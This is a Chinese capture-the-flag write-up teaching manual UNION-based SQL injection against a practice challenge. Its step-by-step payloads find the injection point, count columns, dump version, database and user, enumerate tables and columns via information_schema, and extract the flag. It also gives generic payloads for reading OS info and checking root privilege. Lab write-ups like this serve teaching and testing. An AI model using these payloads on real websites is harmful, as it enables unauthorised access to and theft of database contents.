手工SQL注入

題目地址:http://123.206.87.240:8002/chengjidan/

判斷是否存在注入點

【?id=32(數字任意)】鏈接的結尾依次添加語句【’】、【and 1=1】和【and 1=2】,來判斷網站是否存在注入點。嘗試在正常數據後加上單引號,發現數據爲空,加上註釋符(註釋符:#,–+ , //, – )後發現依舊可以正常輸出,存在注入點。
看是否報錯,如果數據庫報錯,說明後臺數據庫處理了我們輸入的數據,那麼有可能存在注入點。

判斷字段長度

在鏈接後面添加語句【 order by 11 (數字任意)】,根據頁面返回結果,來判斷站點中的字段數目。該題中已經有四處回顯(名字和3科分數),所以就猜4和5,得知查詢結果中有四列。

' order by 4#

判斷字段回顯位置

在鏈接後面添加語句進行聯合查詢(聯合查詢時記得把前面的查詢爲空)來暴露可查詢的字段號。

-' union select 1,2,3,4#

判斷數據庫信息

利用內置函數暴數據庫信息
version()版本;database()數據庫;user()用戶;
不用猜解可用字段暴數據庫信息(有些網站不適用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系統信息:and 1=2 union all select @@global.version_compile_os from mysql.user
數據庫權限:
and ord(mid(user(),1,1))=114 返回正常說明爲root

-' union select 1,version(),database(),user()#

查找數據庫名

Mysql 5 以上有內置庫 information_schema,存儲着mysql的所有數據庫和表結構信息union select information_schema from information_schema.schemata (語句在顯示位)
該題看一下數據庫信息,庫名爲skctf_flag

-' union select 1,version(),database(),user()#

查找數據庫表名

-' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

查找列名

-' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),3,4#

知道表名知道列名,獲取數據

-' union select 1,(select skctf_flag from fl4g),3,4#

查找數據庫表中所有字段以及字段值

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0爲第一個開始記錄),1(顯示1條記錄)

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章